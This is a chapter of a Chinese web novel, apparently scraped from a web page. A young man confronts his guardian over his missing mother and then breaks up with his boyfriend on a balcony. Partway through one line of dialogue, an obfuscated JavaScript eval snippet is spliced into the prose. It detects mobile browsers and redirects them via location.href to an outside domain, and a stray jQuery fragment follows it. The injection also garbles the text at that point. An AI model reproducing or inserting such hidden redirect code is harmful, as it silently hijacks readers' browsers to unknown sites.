电梯停在大厦顶层，穿过如同咖啡厅的开放式接待区，就是腾凌涛的办公室。
办公室很大，南向是整面落地窗，外面是个被绿植包围的露台。一株蓝紫色的花正值花期，花序层层垂落，碎瓣散落在地板上，像是无意的点缀。
陶律夏走向露台中央，目光落在那抹蓝紫色上：“这种花根本不适合北方种，你偏偏要养。恭喜你，成功蛊惑了自然。”
“游戏里我最喜欢的花，当然想要它在现实里也开得漂亮。”腾凌涛笑了笑，剪下一枝，放在陶律夏的掌心。
“恭喜你律夏，祝贺你毕业。”
陶律夏没多看，随手将它放到一旁的圆桌上：“我有事问你。”
“对了，我有毕业礼物要送给你，本来还想寄给你。”腾凌涛收起剪刀，转身走进室内。
他拿来一个四四方方的黑色盒子，揭开盖子，里面是个设计感十足的VR头显。
陶律夏扫了一眼，没动。
腾凌涛送给他的礼物，太多了，书、鞋子、机械表、限量模型，还有那些看起来像是“男孩一定会喜欢的东西”。
小时候，他们也曾一起窝在车库里，拼装过一辆真正能开的电动小车。那是他第一次学会了接线。
腾凌涛从冰箱里拿出一瓶矿泉水，喝了几口，指向VR头显：“内部测试版，还没向外界公开。全新系统搭配高质量场景建模和实时交互。”
“戴上它，你便能进入一片属于自己的世界，雪原、竹海、森林，你甚至能感受到流星划过天际的微妙震感和高山峡谷间的风声。”
“你可以戴着它休息、放松，重拾心绪，感受梦幻。”他说着，把头显递到陶律夏面前。
“要不要试试？”
陶律夏接过头显打量了一番，唇角一挑，浮起一丝冷笑：“果然是你擅长的那一套，构建虚假的世界。你不会自己也信了吧？”
“不是相信——”腾凌涛走到桌边，拿起一只白瓷浅碟，倒入半碟矿泉水，他拾起那串蓝紫色的花枝，斜斜地插进去。
“而是，需要。”
“需要？”陶律夏重复了一遍，他将头显重重搁下。
“需要我活在一个你们精心设定、不会受伤的世界？好假装我从未失去过什么，然后永远都不要问她到底在哪儿？”
一架飞机从空中掠过，在蓝天上拖出一道白色的尾迹。腾凌涛往外走了两步，抬眼望向远方，轻声说：“她在这个世界的任何地方，她就在你身边。”
“你知道你在说什么吗？”陶律夏跟上他，眼里的怒火压不住地翻涌。
“我都十八岁了，你还要用‘她去了很远的地方’这样哄小孩的谎话来搪塞我？”
“Sunny……”腾凌涛缓缓转过身，抬手搭上他的肩膀：“有些问题的答案，不会恰好在你十八岁时准时到来。”
“那要等到什么时候？！”陶律夏一把甩开他的手，声音微微颤抖。
“等到我觉得爱完全多余，没人值得相信的时候吗？”
腾凌涛神色一滞，他缓缓摘下鼻梁上的眼镜，将镜面在POLO衫上摩擦片刻，又重新戴了回去。
“我答应了你妈妈，等到了时间，她会亲口告诉你。老实说，我也不知道是什么时候。在这之前，我要保护这一切，保护你。”
“保护我什么呢？”陶律夏抬起手，掩住了脸。
“我是一个「人」啊，不是你设计的程序，不是你输入一套解释脚本，就能照着运行。”
橄榄树的叶子在微风中轻晃，腾凌涛走近一步，轻轻拉开陶律夏挡在脸前的那只手——
“你想起她就觉得美好、熟悉的瞬间，就不能当成是她在陪伴你的证据吗？”
陶律夏缓缓地摇摇头：“怀念应该建立在告别之上，可我们没有告别。”
“我甚至都不知道——”陶律夏的声音陡然拔高，“她到底是不是已经死了！”
“你们给我的到底是陪伴，还是一场漫长到令人窒息的失踪案？”
“你难道看不到我一直在受伤吗……”
腾凌涛一瞬失语，他张了张嘴，想说什么，可那句话最终卡在喉咙口，没能吐出来。
“她葬在哪里？”陶律夏的声音低下来，他像被抽干了力气，带着近乎卑微的乞求。
“求你了……告诉我，好不好？”
“你告诉我，我就能翻过这一页，我真的想放下了。我想活得像个正常人，我想好好生活。”
“你告诉我好吗？我也可以试着原谅你们，尝试理解你们为什么要这么做。”
风掠过露台，几瓣蓝紫色的花飘落在地板上，像是记忆里无意浮现的旧梦。
腾凌涛沉默了很久，低声开口：“Sunny，我爱你妈妈，我也爱你。我希望你能相信，她做出的一切决定，全都是为了你。”
陶律夏望着他，像看着一台输出稳定的程序，复读着预设好的语句。
「为了你」这三个字，像一种高度提纯后的万能掩饰剂，把所有谎言层层包裹，打磨成温情而正当的解释。
自己居然还抱着希望来，真是可笑……
VR头显在阳光下泛着光，陶律夏伸手将它拿起，低低地笑了一声。
下一秒，那东西被他狠狠摔在地上，外壳裂开，镜片弹到了腾凌涛的脚边。
“我不会再来找你了。”他走到门口，停顿了一下，回头看向腾凌涛：“别再给我寄这些东西，我只会直接丢进垃圾桶。”
飞机尾迹在风中变宽、变形，最终悄然散尽。秘书走了进来，俯身将地上的残块一一拾起。
“腾总……”
腾凌涛缓缓转头，淡声道：“全都扔了吧，他不喜欢。”
“辰叙，派人看着他点——”
“不，还是你亲自去看看。”
“从小臭美，事事讲究，怎么会连鞋都没换就这么跑出来？”腾凌涛拿起那只盛花的瓷碟，叹了口气。
“衣服也穿反了…….”
陶律夏漫无目的地走走停停，直到天色彻底暗下来，才在便利店门口的长椅上坐下，低头翻着手机里的照片——
咖啡店的苹果肉桂卷、路边烫屁股的长椅、摩天轮上看到的烟花、草丛里叫得没完的蝈蝈、送给山神的野花、偷花贼的罪证……
他翻了一遍又一遍，相册里竟没有一张两个人的合影。
或许，自己本就不该妄想能拥有一段长期维持的美好关系。他早该知道，自己这颗修补、重构都显得苍白的心，根本没法承担任何再一次的失去。
可为什么，连张他的正脸都没拍过？手机里只有那张他在旷野中奔跑的背影。不过，也没关系，只要闭上眼睛，就能一笔一划描摹出他的样子。
月亮照常升起，悬在漆黑的夜空，一个人不动声色地坐到了他身旁——
眉目耀眼、真实热烈，是那个只要闭上眼睛，就能看到的人。
两个人并肩坐着，谁都没有说话。
夜风很轻，一只黄色的小狗摇着尾巴从脚边跑过，脖子上的铃铛叮叮作响。
那人熟络地朝小狗喊了一声：“蛋黄！”狗子毫无反应，只有主人和陶律夏两脸错愕。
他毫不在意，又冲着一只哈士奇招呼道：“花卷！”
哈士奇立刻扑了过来，在他脚边撒娇、打滚，被主人拽走时，还不忘回头亲热地摆尾告别。
“花卷”走出百米远，他又转头招呼起蹿进绿化带的泰迪：“是你吗，米线？”
看着那只名字和模样完全不搭的棕色团子，陶律夏心想，不如叫——栗子。
“芝士！”、“年糕！”、“栗子！”、“布丁！”……
陶律夏看着他对着街上的大狗小狗一通报菜名，终于忍不住转过头。
“这一条街的狗，你都认识吗？”
“当然了！”罗乐嘴角一翘，“哥在派出所那几十张‘狗证’，难道是白办的？”
陶律夏在这条街的招牌间扫了一眼：“下一只是叫‘饺子’吗？”
“你终于发现了。”罗乐笑了，像早就在等这一刻。
陶律夏看着他，忽然有点控制不住了，声音发颤道：“你到底要干嘛？”
“你看不出来吗？”罗乐抬手裹住他的肩，把他揽进怀里，“我在哄你开心。”
陶律夏像被什么哽住了喉咙，眼眶有些发热，他看着罗乐，缓缓地、一字一顿地问：“……你想吃小龙虾吗？”
“吃什么小龙虾！”罗乐扶着陶律夏的肩膀，“你看看你现在这副表情，跟要请人吃‘诀别宴’一样。”
“想请哥哥吃分手饭？”他低下头，眼神里带着点凶狠的笑：“没门！”
*
嘴上说着“没门”，但心里别提有多慌张，这一整天，罗乐就像个没魂的游鬼，在他家楼下兜来转去。
等他，也等一个不知道会不会来的答案。
两个人在露台上沉默着坐了半个小时。仙人球顶的小甜花谢了，花瓣干瘪地蜷着，只剩几片褪色的边角，还倔强地挂在刺球上。
「陶神」坦诚、真实，主打一个我行我素，罗乐从没见过这样的他，犹疑、悲伤，一贯的拽劲儿也没了，像是被什么重重压着，连开口都成了难事。
“早上那事儿……搞清楚了吗？”罗乐终于绷不住了。
见陶律夏摇了摇头，他又问：“我能帮你吗？”
“不太能……”
“就算我帮不上什么，咱俩至少也还是能一起商量吧？”罗乐顿了顿，撑着笑脸说：“难道你还有什么秘密不想让哥哥知道？”
陶律夏没看他，抬头望向了窗外的月亮——
“月亮上的暗影叫月海，是火山喷发后凝固的熔岩，而那些比月海高的地形叫月陆，主要由反光率高的斜长岩构成，看起来要亮一些。”
“由于潮汐锁定，在地球上无论如何都看不到月亮的背面，科幻小说里把它叫做「月之暗面」。”
罗乐听着，想起当初在书店偶遇他的场景，他在新书柜台前翻着一本《月球矿物》。
如果当时走过去打招呼，陶律夏会不会也这么科普一通？
也许会。但那时候的自己，应该会觉得：这人怎么这么能装。可现在，却只想听他再多说几句。
“月亮有暗面，人心也有暗面。”陶律夏侧过脸，“你看过《大佛普拉斯》吗？”
“……没看过，讲什么的？”
“虚伪的政客、天真的拾荒者，还有残忍的艺术家把情人的尸体藏进大佛的雕塑里。”
陶律夏顿了顿，声音低下来：“电影里有句话，大意是「人心的宇宙更难抵达」。”
这句话像一颗子弹射进了罗乐的胸膛，卡在了身体里。他从没想过，自己竟然可以这样了解一个人——
能跟上他那些别人看不懂的操作，能听出他的笑声里藏着怎样的情绪，能分辨他的沉默到底有什么不同，能听懂这是个告别的铺垫……
“你到底想说什么？”罗乐嗓子发涩，努力维持面上的镇定。
风扇缓缓转动，月光从窗边斜斜洒下，将两人笼罩进一片静默里。
陶律夏：“我想告诉你，告诉你我心里的另一部分，像月球暗面一样从未被人看见的混乱地带，裂缝、塌陷、情感的废墟。”
他说完，微微垂眼，声音轻得像一声叹息：“可是我现在……没有勇气袒露了，我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076162|177278||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也没有心力再去爱了。”
“对不起。”
“你这是要干什么啊？你在和我分手吗？”罗乐嗓音发涩。
陶律夏没说话，此刻的沉默反而成了最直接的答案。他缓缓站起身，看着罗乐：“我得喝点东西，你要吗？”
“有酒吗？”罗乐问。
陶律夏走向冰箱，翻找了一阵，拿出两瓶啤酒。他把其中一罐放到罗乐面前说：“没有你喜欢的桃子味了，这个行吗？”
罗乐拿起易拉罐看了看，是瓶菠萝味果啤，手指扣着冰凉的罐身，心里是说不出的苦涩。
——桃子味？他什么时候喜欢上桃子味了？真是个悲伤的玩笑。
借着这个由头，罗乐硬是撑起了精神，找回了点平时的损劲，耍起赖来：“都要分手了，喝个酒连个喜欢的味道都没有，今天这时机也太差了吧！”
他把手里的易拉罐重重地搁在桌上，冲着陶律夏说：“……你再好好想想，要不下次再分吧？”
陶律夏站起身径直朝门口走去：“我去给你买。”
“你非得这样是吧？”罗乐冲上去，一把抓住他的手腕。
陶律夏脚步顿住，缓缓转过头，两人隔着一尺寂寥的夜色。
“为什么啊？”罗乐盯着他，眼圈微微泛红，“不是好好的吗？到底是哪儿不对了？是我……是我做错了什么吗？”
“不是你的错，是我的错。”陶律夏低下头，叹了一口气。
“是你的错？”罗乐往前一步，一把扣住他的肩膀，嗓音陡然拔高：“你错了，就可以直接终止吗？”
“那我呢？”
“我算什么？”
罗乐盯着他，像压抑了一整天的火终于炸了：“我到底算什么？是你计算错误后，可以随手丢掉的废稿吗！”
“不是！”陶律夏几乎是下意识地反驳。
“那我是什么？”他咬着牙，盯着陶律夏的眼睛，一字一顿：“是你可控人生里，那个不稳定的变量？出了偏差，就该被剔除？”
“不是！”
“你不是错误，不是变量，更不是废稿，你带给我稳定、抚慰和快乐……你是我人生系统中最接近「常数」的存在。”
“不稳定的那个，是我啊，我现在已经没有勇气去爱了。”陶律夏说着，眼睛里泛起晶莹的水光，他低下头，整个人像被钉在原地，僵硬地站着。
没有抽泣，也没出声，眼泪一滴一滴地滑落，带着千钧重力砸向了罗乐的心。
罗乐低低叹了口气，把手掌扣在陶律夏的背上，往怀里带了一点：“你这人，有时候拽得烦人，有时候事儿多得离谱，有时候又非得整点把人气到肝疼的操作……”
“我不是没想过离你远点，省得给自己找不痛快，但最后还是忍不住，老往你这儿凑。”
“后来，我也不知道是哪根筋搭错了，跟开了雷达一样，忽然就能看懂你了。”他低下头，凑到陶律夏耳侧。
“我能看懂你表情里的意思，知道你的沉默是高兴，还是拒绝；知道你是真行，还是在死撑；我能从你的动作、你说的话里看出你是想让我靠近一点，还是懒得搭理我……”
“可是我怎么都看不明白，是什么让你哭……”
“你不想说没关系。你也可以不向我敞开你的心……”
罗乐把人抱紧了一些，语气近乎哀求：“但是拜托你，拜托你……”
“别推开我，好吗？”
两个人抱了很久，世界安静得就像只剩下这一方小小的空间。
直到陶律夏缓缓抬起手，按在罗乐的肩膀上，动作不重，却像用尽了所有的力气。他坐回了椅子，把一整罐啤酒一口气喝完，缓缓地放下罐子。
“我无法在一片废墟上搭一座房子，如果有一天我也失去了你，我又该如何去治愈自己？”
罗乐蹲下身握住他的手，目光灼灼：“你不会失去我，我说过了，我永远都不会离开你。”
陶律夏摇了摇头，目光像坠入无尽深海：“这个世界上没有永远的陪伴，爱就是要把自己的一部分交给别人，并允许对方可以毫无预警地带着它离开。”
罗乐：“你为什么要去猜测那些还没发生的事？你就不能……相信我吗？”
“这不是猜测，这是我的经历。”陶律夏抬起头，泪水在眼眶里打着转，最终，又顺着脸颊滑了下来。
“哥哥，我们就到这里吧。我不会忘记你，但我也……没法再待在你身边了。”
那一瞬，罗乐像是被人切断了所有电源，松开了手。
他只觉得，心像是被硬生生挖走一块，胸口空空荡荡，只留下一片寂静的荒漠。
可就在这死寂一般的空地上，却听到微弱却清晰的回响——
是，眼泪落在上面的声音。
一滴、又一滴，砸在了上面，将那片孤寂的荒漠砸成了坑坑洼洼的月球表面。
如月球暗面一样，从未被人看见的混乱地带，裂缝、塌陷、情感的废墟，不再是你一个人的了，陶律夏……
罗乐缓缓站起身：“你非要离开的理由，我大概听明白了一点。但我愿意放手，只有一个原因——”
“我不想看你这么难受。”
“等我走了……你能，好好地哭一场吗？”
说完，罗乐拿起桌上的那罐果啤，扣开拉环，气泡“哧”地一声冲出来，在静默的空气里发出刺耳的破裂声。
他一饮而尽，把空罐子轻轻放在桌上，站起身踏出了露台。
“还有一件事……”罗乐停下脚步，“哥哥其实不喜欢喝果啤，之前几次喝……都是因为你。”
“你要记得，下次见面，不要再请我喝了。”